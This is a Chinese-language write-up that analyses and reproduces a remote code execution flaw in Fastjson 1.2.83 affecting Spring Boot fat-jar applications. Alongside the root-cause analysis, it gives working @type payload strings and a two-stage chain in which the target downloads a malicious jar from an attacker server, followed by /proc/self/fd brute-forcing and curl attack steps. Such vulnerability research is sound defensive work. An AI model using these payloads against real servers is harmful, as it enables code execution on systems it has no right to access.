Fastjson 1.2.83 RCE 分析及复现
一、漏洞概述
2026 年 7 月 19 日,FearsOff CTO Kirill Firsov(@k_firsov)公开声称在 Fastjson 1.2.83 中发现了一个无需任何 gadget 依赖的远程代码执行漏洞。作者在推文中描述:”不依赖目标 classpath 上的任何库,’移除危险类’缓解无效,一个 payload 即可实现 RCE。”
作者在推文问答中进一步确认了以下约束:
- 影响 1.2.68 至 1.2.83 全版本
autoType默认关闭即可触发(非”绕过 autoType”)JSON.parse(String)与JSON.parseObject(String)均可达- 不是 expectClass + Throwable 链
- 不是 XMLDecoder
- 唯一缓解:
safeMode=true或升级 fastjson 2.x
二、漏洞根因:checkAutoType 的 @JSONType 资源探测
2.1 漏洞入口
源码位置:com.alibaba.fastjson.parser.ParserConfig,Maven 坐标 com.alibaba:fastjson:1.2.83。
checkAutoType 方法(约 com.alibaba.fastjson.parser.ParserConfig:1311 行起)在处理每个 @type 值时,会执行一段 @JSONType 注解探测逻辑。关键代码位于约 com.alibaba.fastjson.parser.ParserConfig:1483-1510 行。

核心逻辑如下:
1 | // 步骤1:将 @type 值的 . 替换为 /,拼成 resource 路径 |
2.2 @JSONType 旁路机制
正常情况下,fastjson 的 autoType 防御包含多层:
- safeMode 总开关(
com.alibaba.fastjson.parser.ParserConfig:1326-1331) - deny-list 黑名单(
com.alibaba.fastjson.parser.ParserConfig:1386-1416,169 个哈希) - ClassLoader/DataSource/RowSet 硬拦截(
com.alibaba.fastjson.parser.ParserConfig:1513-1518) - expectClass 类型匹配(
com.alibaba.fastjson.parser.ParserConfig:1520-1528)
但 jsonType=true 时,代码在 com.alibaba.fastjson.parser.ParserConfig:1510 行直接 return clazz,短路跳过上述所有检查。这意味着:只要攻击者能让 getResourceAsStream 返回一个带 @JSONType 注解的恶意类,就能绕过全部防御。
2.3 类名转换规则(关键约束)
fastjson 会将同一个 @type 字符串分别传入 ClassLoader 的两个入口,两侧实参不同。源码 com.alibaba.fastjson.parser.ParserConfig:1482-1502:
com.alibaba.fastjson.parser.ParserConfig:1482:构造resource = typeName.replace('.', '/') + ".class"com.alibaba.fastjson.parser.ParserConfig:1484:资源探测getResourceAsStream(resource)—— 传入 replace 后的值com.alibaba.fastjson.parser.ParserConfig:1502:类加载TypeUtils.loadClass(typeName, ...)—— 传入原始typeName(不经 replace,最终进入com.alibaba.fastjson.util.TypeUtils:1762的loadClass)

| 入口 | 实参 | 语义 |
|---|---|---|
getResourceAsStream(资源探测) |
replace 后 | 资源路径,规范上使用 / |
loadClass(类加载) |
原始 typeName |
binary name,由 ClassLoader 校验 |
也就是说:replace 只作用于资源探测,类加载始终使用原始 @type;同一字符串必须同时满足两侧。
加载侧会进入 ClassLoader.loadClass,并先经私有方法 checkName 校验 binary name(JDK 8 rt.jar / java.lang.ClassLoader)。

checkName 在 binary name 含 / 时直接返回 false,类加载失败:

因此路径分隔符必须使用 . 而非 /:原文可通过 checkName,fastjson 再将 . 替换为 / 以符合资源路径。两侧对 / 的要求相反,而 . 恰好能同时满足两处约束。
| @type 值 | loadClass(原文) | getResourceAsStream(replace 后) | 结果 |
|---|---|---|---|
jar:file:.tmp.probe!.POC |
无 /,checkName 通过 |
jar:file:/tmp/probe!/POC.class |
两侧均通过 |
jar:file:/tmp/probe!.POC |
含 /,checkName 拒绝 |
jar:file:/tmp/probe!/POC.class |
类加载失败 |
除 . / / 外,相关字符还需经过两层校验:checkName 主要检查名称结构(禁止 /),不检查是否为合法 Java 标识符;进入 defineClass 时另有 JVM native 校验。
| 字符 | checkName |
JVM native(defineClass) |
|---|---|---|
. |
允许(binary name 标准分隔符) | 允许 |
/ |
拒绝 | — |
: ! |
不校验 | JDK8 verify_unqualified_name 宽松放行(基于 JSR202) |
因此 @type 中可以使用 jar:、! 等字符(如 jar:http:..IP.PORT.probe!.POC)。native 层细节后面展开。
还有一层约束容易忽略:defineClass(name, bytes) 会校验 class 字节码里的 internal name(this_class)必须与传入的 binary name 的 internal 形式(即 @type 把 . 全部替换成 / 的结果)完全一致,不一致就抛 ClassFormatError / NoClassDefFoundError。所以生成恶意 class 时,它的 internal name 不能随便取,必须按 resource path 的形式构造。以 @type=jar:file:.tmp.probe!.POC 为例:
| 值 | |
|---|---|
@type(binary name,交 loadClass) |
jar:file:.tmp.probe!.POC |
| replace 后(internal 形式,= resource path) | jar:file:/tmp/probe!/POC |
class 字节码 internal name(this_class,必须等于上一行) |
jar:file:/tmp/probe!/POC |
三者对上,defineClass 才放行。这也是后面生成 evil jar 时 internal name 要写成 jar:file:/tmp/probe!/POC、而不是 POC 或 probe.POC 的原因。
三、从 getResourceAsStream 到 RCE:思路推导
第二章已经说明:jsonType=true 时 checkAutoType 会 loadClass 并短路返回,从而绕过黑名单等检查。真正要打成 RCE,还需要让 getResourceAsStream 返回攻击者可控、且带 @JSONType 的类字节码。下面按条件逐步收束。
3.1 资源路径完全可控
com.alibaba.fastjson.parser.ParserConfig:1482-1486 中,资源名由 @type 经 typeName.replace('.', '/') + ".class" 得到,再交给 getResourceAsStream。在默认 autoType 关闭、未配置 defaultClassLoader 的常见场景下,路径字符串仍完全来自攻击者输入。
这一点首先应理解为攻击者可控的资源读取点,而不是默认就能出网:多数 ClassLoader 只会在 classpath 内按资源名查找,并不会把该字符串当成 URL 去访问。能否变成远程加载,取决于后面的路径形态与运行时 ClassLoader。
3.2 必须控制返回内容(@JSONType)
仅有可控路径不够。旁路与加载都依赖 jsonType=true,而该标志来自对资源流字节码的 ASM 扫描(com.alibaba.fastjson.parser.ParserConfig:1488-1492):
- 返回的 class 带
@JSONType→jsonType=true→TypeUtils.loadClass(约:1500-1502)→ 短路返回(约:1506-1510)→ 类定义后,在首次主动使用时触发<clinit>,可执行恶意逻辑 - 未带
@JSONType(或资源根本读不到,jsonType保持 false)→ 在autoType关闭时于约:1542抛出autoType is not support,利用终止
因此攻击者必须控制 getResourceAsStream 的返回内容。classpath 上既有的类字节码通常不可控(除非另有写入 classpath / 依赖投毒等条件),现实路径是:指向攻击者可写的本地资源,或指向攻击者控制的远程资源。
3.3 用 jar: URL 承载外部资源
在 2.3 的约束下,@type 全程用 . 作路径分隔,经 replace 后可拼出 jar: 形式的资源名。jar: 是统一载体:远程可用 jar:http:,本地落盘可用 jar:file:,下面的利用链两者都会用到。
远程示例:
1 | @type 值: jar:http:..2130706433:18081.probe!.POC |
这里 host 写成 2130706433(127.0.0.1 的整数形式)是必要的:replace('.', '/') 会处理字符串中每一个 .。若写成 127.0.0.1,会变成 127/0/0/1,URL 直接被破坏。整数 IP 不含点号,才能在「分隔符必须用 .」的约束下保留合法 host。
本地同理,例如 jar:file:.tmp.probe!.POC → jar:file:/tmp/probe!/POC.class(路径段同样用 . 书写,避免原文出现 /)。
3.4 只有特定 ClassLoader 会解析 jar: 资源名
即便资源名已是合法 jar:http://... / jar:file:...,标准 JDK 的 ClassLoader.getResourceAsStream 也不会把它当 URL 打开——AppClassLoader / 普通 URLClassLoader 只在 classpath 的 jar、目录里按名称查找。实测 AppClassLoader.getResourceAsStream("jar:http://...") 返回 null;findResource 不会对资源名发起 HTTP 请求。

Spring Boot fat-jar 的 LaunchedURLClassLoader 是常见例外。 启动阶段会通过 JarFile.registerUrlProtocolHandler() 注册自定义 jar: 协议处理,使该类加载器能够处理 jar:http://、jar:file: 形式的资源路径(具体加载与 defineClass 路径见第四章)。
于是利用面从「任意接入 fastjson 的 Java 应用」收束为:运行时 ClassLoader 具备 jar: 资源名解析能力的环境;其中 java -jar 启动的 Spring Boot fat-jar 是最高频场景。下一章沿这条 ClassLoader 链把探测、加载与类定义补全。
四、ClassLoader 链路分析
利用能否走通,取决于运行时 ClassLoader 如何处理 jar: 形态的资源名,以及 loadClass 如何定义类。下面以 java -jar 启动的 Spring Boot 2.7.18(内嵌 Tomcat)为例。
4.1 资源探测与类加载用的不是同一条入口
checkAutoType 里与 ClassLoader 相关的动作有两次,实参与入口都不同(见 2.3):
| 步骤 | 源码位置 | 使用的 ClassLoader(defaultClassLoader == null 时) |
输入 |
|---|---|---|---|
| 资源探测 | ParserConfig:1484-1486 |
ParserConfig.class.getClassLoader() |
replace 后的 resource(可含 /) |
| 类加载 | ParserConfig:1500-1502 → TypeUtils.loadClass |
默认走 TCCL(见 4.3) | 原始 typeName(不得含 /) |
fastjson 一般在 BOOT-INF/lib 中,由 LaunchedURLClassLoader 加载,探测侧默认就是该 CL。加载侧先到请求线程 TCCL,再经 parent delegation 回到同一棵应用 CL 树。两侧都可能落到同一个 LaunchedURLClassLoader 实例,但并不是同一个私有方法同时完成探测和 defineClass。
4.2 fat-jar 下的 ClassLoader 层级

ParserConfig等应用类:通常在LaunchedURLClassLoader- 请求线程 TCCL:通常是
TomcatEmbeddedWebappClassLoader,parent 为上述 Launched 实例 - 探测走「加载 fastjson 的 CL」,加载走「TCCL → parent」;
jar:file:形式纯默认即可,jar:http:形式需setDefaultClassLoader(见 5.3)
4.3 TypeUtils.loadClass 的三分支
源码位置:com.alibaba.fastjson.util.TypeUtils.loadClass(String, ClassLoader, boolean),约 TypeUtils:1735。

defaultClassLoader == null 时顺序为:
1 | 分支1:classLoader.loadClass(...) // defaultClassLoader 非空时走这里(已 setDefaultClassLoader,直接用应用 CL) |
defaultClassLoader 是否为空决定走哪条分支:
setDefaultClassLoader手动指定了 ClassLoader(defaultClassLoader非空),进入分支 1,直接defaultClassLoader.loadClass;- 纯默认(
null)进入分支 2 经 TCCL=Tomcat。这条区别决定了jar:http:形式能否成功(详见 5.3)。
className.length() > 198 会直接抛 illegal className(约 :1740)。

重点:请求线程上分支 2(defaultClassLoader=null、纯默认)实际要经过 Tomcat 的 Class.forName,这一步是 file/http 的分水岭:
1 | TypeUtils.loadClass 分支2 → TCCL.loadClass(typeName) |
http 在 loadFromParent 的 Class.forName 就失败、到不了 LaunchedURLClassLoader.loadClass;而 file 通过后可以继续走到 defineClass。详见 5.3 分析。
spring-boot-loader 2.7.18 里,LaunchedURLClassLoader.loadClass 只有类名以 org.springframework.boot.loader.jarmode. 开头时才会进入私有方法 loadClassInLaunchedClassLoader;该方法调用的是 getParent().getResourceAsStream,与 @type 为 jar:http:… / jar:file:… 的 payload 无关。
payload 类名(jar:http:…/jar:file:…)不是 jarmode. 前缀,因此走 super.loadClass(标准 URLClassLoader 的 findClass → ucp → defineClass),而非这个私有分支;能否加载成功取决于字节码 internal name 是否匹配、checkName 是否放行、JVM class-name 校验是否通过(见 5.3)。

4.4 jar: Handler 与资源名解析
启动时 JarFile.registerUrlProtocolHandler() 会注册自定义 jar: URLStreamHandler,影响的是 java.net.URL / URLConnection 如何打开 jar: 地址(含 fat-jar 嵌套路径)。
| 机制 | 实际做什么 |
|---|---|
注册 jar: Handler |
new URL("jar:…") 等如何建立连接 |
ClassLoader.getResourceAsStream(name) |
多数实现按 classpath 内资源名查找,不会把任意字符串自动当成绝对 URL |
| CL 扩展资源查找 | 将 jar:http: / jar:file: 形态的 name 解析为远端或本地 jar 条目(利用前提,见 3.4) |
能否解析 jar: 资源名,取决于 ClassLoader 是否重写了资源查找。AppClassLoader(普通 URLClassLoader)即便注册了 jar Handler,getResourceAsStream("jar:http://…") 仍返回 null——它只在 classpath 内按资源名查找,不把 name 当 URL 解析(3.4 实测);
LaunchedURLClassLoader 重写了 findResource,能把 jar:http:/jar:file: 资源名解析为远端或本地 jar 条目并返回字节(5.3 实测两者都返回完整字节)。所以探测能否成功,要看实际被调用的 ClassLoader 是否具备这种扩展查找能力。



五、默认配置下的可达性
5.1 defaultClassLoader = null 的正确路径
当 defaultClassLoader=null 时:
- 资源探测使用
ParserConfig.class.getClassLoader()(约:1486),在 Spring Boot fat-jar 中通常为加载BOOT-INF/lib的LaunchedURLClassLoader; - 类加载走
TypeUtils.loadClass(name, null, true)分支 2:请求线程 TCCL(常见为TomcatEmbeddedWebappClassLoader)→ parent delegation → 同一LaunchedURLClassLoader。
探测与加载落在同一应用 CL 树上——对 jar:file: 形式,确实不需要业务侧手动 setDefaultClassLoader(纯默认即可加载)。但 jar:http: 形式在纯默认下会被 Tomcat 的 Class.forName 拦下,必须 setDefaultClassLoader 走分支 1,详见 5.3。 能否解析 jar: 资源名,仍取决于该 CL 的具体实现(第四章)。
5.2 payload 格式要求
@type 值里路径分隔符必须用 .,不能写 /:fastjson 用 .replace('.', '/') 把 . 还原为 / 拼资源路径,而 binary name(交给 loadClass 的原文)若含 /,会被 ClassLoader.checkName() 拒绝。
@type 写法 |
binary name(loadClass) | replace 后(getResourceAsStream) | 结果 |
|---|---|---|---|
jar:file:.tmp.probe!.POC |
无 /,过 checkName |
jar:file:/tmp/probe!/POC.class |
两侧通过 |
jar:file:/tmp/probe!.POC |
含 /,checkName 拒 |
同上 | 类加载失败 |
同一规则还约束本地 jar 的文件名与 host:文件名不能含 .(如 evil.jar,replace 会拆成 evil/jar),需用无点文件名(如 eviljar);host 必须用整数 IP(2130706433)而非点分形式。
5.3 重点:file 与 http 的根本差异
5.1 的结论对 jar:file: 成立,但对 jar:http: 不成立,纯默认下 file 能加载,http 必须 setDefaultClassLoader 才行。这一点很反直觉:两者都是 jar: URL、LaunchedURLClassLoader 对它们的资源探测都能成功,下面通过实测和 JDK 源码分析一下。

实测环境:macOS / JDK 1.8.0_431 / Spring Boot 2.7.18 fat-jar / fastjson 1.2.83。
对同一个 name,分别用「分支1:LaunchedURLClassLoader.loadClass(对应已 setDefaultClassLoader)」和「分支2:TCCL(Tomcat).loadClass(对应未设置)」去加载,只看能否加载(OK / ClassNotFoundException),不初始化、不触发 <clinit>:
| name | 分支1(已设,LaunchedURLClassLoader.loadClass) |
分支2(未设,TCCL.loadClass) |
|---|---|---|
jar:file:.tmp.eviljar!.POC |
OK | OK |
jar:http:..2130706433:18080.probe!.POC |
OK | FAIL ClassNotFoundException: jar:http://2130706433:18080/probe!/POC |
LaunchedURLClassLoader.loadClass 对 file/http 都能加载;Tomcat.loadClass 对 file 能加载、对 http 抛 CNFE(message 是 internal 形式 jar:http://…)。是否设置 defaultClassLoader 决定走分支1 还是分支2,也就决定了 http 形式能否加载——这正是后面要分析的起点。
差异不在资源探测,在类加载。 资源探测(checkAutoType 的 getResourceAsStream,约 :1486)对 file 和 http 都成功:LaunchedURLClassLoader 重写了 findResource,jar: Handler 两种形式都解析,都读到字节、jsonType=true。

差异发生在 TypeUtils.loadClass(约 :1500):defaultClassLoader 非空时走分支 1 classLoader.loadClass(name) 直接调 LaunchedURLClassLoader;为空时走分支 2 contextClassLoader.loadClass(name)(TCCL)→ TomcatEmbeddedWebappClassLoader → 委托回 LaunchedURLClassLoader。
自定义一个 /loadclass 端点,TCCL.getParent().loadClass(name),分别传 file 和 http 形式的 name。

绕过 Tomcat 后 file/http 都通,说明 LaunchedURLClassLoader 本身不分 file/http。差异在 defaultClassLoader=null 时必经的 Tomcat WebappClassLoader 这一层。
Tomcat 的分叉点在 loadFromParent。 拆 TomcatEmbeddedWebappClassLoader.doLoadClass 的两个私有子步骤:findClassIgnoringNotFound 对 file/http 都返回 null(一致),loadFromParent 对 file 返回 class、对 http 返回 null。

loadFromParent 的源码:

其中 parent = LaunchedURLClassLoader
而 fastjson 在 defaultClassLoader 非空时走的分支 1 用的是 classLoader.loadClass(name)。Class.forName 与 ClassLoader.loadClass 对这个畸形 name 行为不同——这是全部分界。
同一个 CL、同一个 name,结果相反。 实测对 http name 分别调两个 API:
自定义一个 /cmp 端点对 http name 分别测 parent.loadClass 与 Class.forName(_, false, parent) 的输出。
三个铁证:CNFE 的 message 是 internal 形式(/),不是传入的 binary(.),说明 native 层转换过 name;栈里只有 forName0 (Native Method),没有 loadClass/findClass/defineClass 的 Java 帧,说明 native 在调 loadClass 之前就否了;file name 两个 API 都 OK。
C++ 源码根因:forName0 的 native 校验禁止连续斜杠。 Class.forName0 的 native 实现在 OpenJDK 8u 的 jdk/src/share/native/java/lang/Class.c:

1 | // Class.c:123 |
CNFE 在 :131 抛出,所以栈只有 forName0 (Native Method)、没有 Java loadClass 帧。VerifyFixClassname 把 . 改成 /(*p++='/')是原地修改,所以 :131 抛异常时 message 已经是 internal 形式。
VerifyClassname(jdk/src/share/native/common/check_format.c:233)调 skip_over_fieldname:

skip_over_fieldname(check_format.c:128)逐字符走 name,用循环末尾的 last_ch = ch 记住上一个字符,第 157 行明确禁止连续斜杠:

1 | // check_format.c:155-157 |
http:// 的双斜杠:第一个 / 时 last_ch 是它前面的字符(:,不是 /),不 return,last_ch 更新为 /;第二个 / 时 last_ch 已经是 /,命中 :157 return 0 → VerifyClassname 返回 false → forName0:131 抛 CNFE。
辅助:isJvmIdentifier(:56)—— :、!、字母数字都是合法标识符(continue 跳过),只有 / . [ ; 进入上面的分支。所以 http:// 里只有那两个 / 会走到 :157。

对照:loadClass/defineClass 为什么放行 http。 ClassLoader.loadClass → findClass → defineClass 走的是另一条校验链:ClassFileParser::verify_legal_class_name → verify_unqualified_name(hotspot/src/share/vm/classfile/classFileParser.cpp:5201)。

1 | // classFileParser.cpp:5209-5214 |
LegalClass 类型允许连续 /。所以 defineClass 对 jar:http://...(含空段)照样定义成功——这就是 loadClass(http) OK、Tomcat loadFromParent(用 Class.forName)挡 http 的根本原因。
到这里我们知道了: 根因是 JDK 两套 class-name 校验严格度不同——Class.forName0(check_format.c:157)禁止连续斜杠,defineClass(classFileParser.cpp:5212)对 LegalClass 放行。http:// 的双斜杠(URL authority 分隔符)正好命中前者。
| file | http | |
|---|---|---|
资源探测 :1486 |
OK | OK |
已 setDefaultClassLoader(分支 1 loadClass → defineClass,允许连续 /) |
OK | OK |
未设置(分支 2 → Tomcat → loadFromParent → Class.forName,禁连续 /) |
OK | 失败(forName0 :157 拒) |
file 的 file:/ 是单斜杠,过 Class.forName 的 skip_over_fieldname,所以纯默认(defaultClassLoader=null)即可加载;http 的 http:// 是双斜杠,命中 :157,Class.forName 直接拒,必须 setDefaultClassLoader 让 loadClass 走分支 1 用 ClassLoader.loadClass(走 defineClass 那条允许连续 / 的校验链),绕过 Tomcat 的 Class.forName。
需要强调的是:setDefaultClassLoader 是应用侧配置,攻击者无法控制;真实默认应用不会主动设置它。因此 jar:http: 单阶段在默认配置下不可达,默认配置下可达的是 jar:file:。
六、利用链
第五章已经确认:默认配置下 jar:file: 即可加载,jar:http: 单阶段不可达(需攻击者控不了的 setDefaultClassLoader)。下面先看最直接的本地 jar 单阶段利用链。
6.1 单阶段本地 jar 利用
前提条件:目标机器上存在一个包含恶意 class 的 jar 文件(通过文件上传、其他漏洞写入、或共享目录),但是要注意不能带后缀。
1 | Payload: |
执行链路:
1 | 1. checkAutoType 资源探测(约 :1483) |
6.2 两阶段 fd 利用(Linux)
6.1 的单阶段链要求目标本地已有一个可控的 jar。拿不到本地写入的话,能不能换种方式把 jar 弄到目标上?jar:http: 资源探测默认可达(见 5.3),可以让目标主动把恶意 jar 拉过来;问题在于拉下来之后默认加载不了(http 单阶段不可达)。Linux 的 fd 机制正好能补上这一步。
Linux 上每个进程都有一个 /proc/self/fd/ 目录,列出它当前打开的文件描述符。JVM 走 jar:http:// 拉 jar 时,底层会把 jar 缓存为临时文件并打开一个 fd;即便这个临时文件之后被删,只要 fd 没关闭,/proc/self/fd/N 仍能读到那个 jar 的内容。于是思路分成两步:先用 jar:http: 让目标把 jar 拉下来(fd 被打开),再爆破 /proc/self/fd/N、用 jar:file: 把它加载出来,而fd文件正好就是不带后缀的文件。
前提条件:目标为 Linux 系统(有 /proc/self/fd/),能出网访问攻击者 HTTP 服务器。
Stage 1 — SSRF 下载 jar:
1 | Payload: |
Stage 1 的 class(foo/Exception)不带 @JSONType 注解,因此 jsonType=false,checkAutoType 拒绝加载。但 getResourceAsStream 已经向攻击者 HTTP 服务器发起了 GET 请求,下载的 probe.jar 被 JVM 缓存在内存中,对应的文件描述符(fd)保持打开。
通过 /proc/self/fd/N 可以访问到这个缓存的 jar 文件。
Stage 2 — 从 fd 加载 class:
1 | Payload(爆破 fd 编号 3-256): |
probe.jar 内预先打包了 fd3/Exception.class 到 fd256/Exception.class 共 254 个 class,每个都带 @JSONType 注解和 <clinit> payload。只要其中一个 fd 编号命中 Stage 1 缓存的 jar,就会触发类加载和 <clinit> 执行。
完整利用流程图:

七、实战复现
7.1 环境
| 组件 | 版本 |
|---|---|
| OS | fd 两阶段:Linux / file 单阶段:MacOS |
| JDK | OpenJDK 1.8.0_431 / 1.8.0_432 |
| Spring Boot | 2.7.18(fat-jar) |
| Fastjson | 1.2.83 |
7.2 目标应用
一个最简 Spring Boot 应用,仅包含一个 JSON.parse(body) 端点,无任何 fastjson 配置:
1 |
|
7.3 攻击步骤
- 生成恶意 probe.jar
使用 ASM 生成包含 254 个 class 的 jar。每个 class 的 internal name 对应一个 fd 编号,携带 @JSONType 注解和 <clinit> payload。

- 启动攻击者 HTTP 服务器
在攻击者机器上启动一个 HTTP 服务器,对任意路径返回 probe.jar。
- 发送 Stage 1
1 | curl -X POST https://target:8080/parse \ |
- 发送 Stage 2(爆破 fd)
1 | for fd in $(seq 3 256); do |
7.4 复现结果
分两条利用链各给一组端到端结果。
file单阶段
file 单阶段(jar:file:,纯默认即可达):

fd两阶段
fd 两阶段(Linux,jar:http: SSRF + jar:file:/proc/self/fd/N):


收到两次回连,随后爆破fd


八、总结
在纯默认配置下(autoTypeSupport=false、safeMode=false、defaultClassLoader=null),jar:file: 形式可直接达成 gadget-free RCE;jar:http: 形式则需 setDefaultClassLoader 让 loadClass 走分支 1,或改用 fd 两阶段(Stage 1 仅 SSRF、Stage 2 走 jar:file:)。 前提是参与探测/加载的 ClassLoader 能处理 jar: 形态资源名并完成类定义(典型为 Spring Boot fat-jar 的 LaunchedURLClassLoader),是否成立以目标进程实际 CL 行为为准。
利用链的核心环节:
checkAutoType的getResourceAsStream使用攻击者可控的 resource 路径(@type经 replace)@type中的.被 replace 为/,用于拼出jar:http:/jar:file:等形式的资源名;原文则交给loadClass(不得含/)- 具备相应能力的 ClassLoader 读出攻击者控制的 class 字节码;带
@JSONType则jsonType=true,短路跳过黑名单等检查 TypeUtils.loadClass(默认经 TCCL)→defineClass→ 首次主动使用时<clinit>→ RCE
整条链不依赖目标 classpath 上的第三方 gadget 库,jar:file: 纯默认可达;jar:http: 需 setDefaultClassLoader 或 fd 两阶段——根因是 Class.forName0 禁连续 /、而 loadClass→defineClass 放行(见 5.3)。彻底缓解仍是 safeMode=true 或迁移 fastjson 2.x。